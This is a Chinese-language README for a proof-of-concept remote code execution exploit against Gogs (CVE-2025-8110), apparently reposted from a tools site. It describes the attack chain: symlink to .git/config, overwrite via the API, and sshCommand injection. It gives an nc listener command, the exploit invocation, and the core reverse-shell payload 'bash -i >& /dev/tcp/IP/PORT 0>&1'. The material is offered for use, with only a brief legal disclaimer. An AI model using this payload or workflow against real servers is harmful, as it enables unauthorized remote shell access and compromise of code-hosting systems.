Gogs RCE 漏洞利用 (CVE-2025-8110)

针对 CVE-2025-8110 的概念验证 (PoC) 程序，这是 Gogs 中的一个严重漏洞，允许通过符号链接绕过和 sshCommand 注入操纵 .git/config 来实现远程代码执行 (RCE)。

📖 概述

此漏洞利用针对 Gogs API 内容管理中的路径遍历缺陷。已认证用户可以：

1. 创建一个仓库并推送一个指向内部 .git/config 的符号链接。
2. 使用 API 通过符号链接覆盖目标配置文件。
3. 注入恶意的 sshCommand，当服务器执行 Git 操作时触发反向 Shell。

🚀 特性

• 自动化工作流程：处理登录、仓库创建、符号链接部署和配置投毒。
• 健壮的编码：自动对凭据进行 URL 编码，以处理特殊字符（例如 !、@）。
• 丰富输出：使用 Rich 库提供高可见性日志。

🛠 前提条件

• Python 3.12+
• 本地系统已安装 Git。
• 目标 Gogs 实例上的有效凭据。

📦 安装

1. 克隆仓库：

   root@kitploit:~

   git clone https://github.com/Ghxstsec/CVE-2025-8110.git
   cd CVE-2025-8110
   

2. 安装依赖：

   root@kitploit:~

   pip3 install -r requirements.txt
   

💻 使用

启动你的监听器：

nc -lvnp 6666

运行漏洞利用：

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

参数：

漏洞的核心：

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

当 Gogs 执行需要网络传输（如镜像同步或内部引用检查）的 Git 命令时，它会调用 sshCommand，从而触发反向 Shell。

⚠️ 法律免责声明：此工具仅供教育和授权安全测试使用。作者对因使用此脚本造成的任何滥用或损害概不负责。未经授权访问计算机系统是非法的。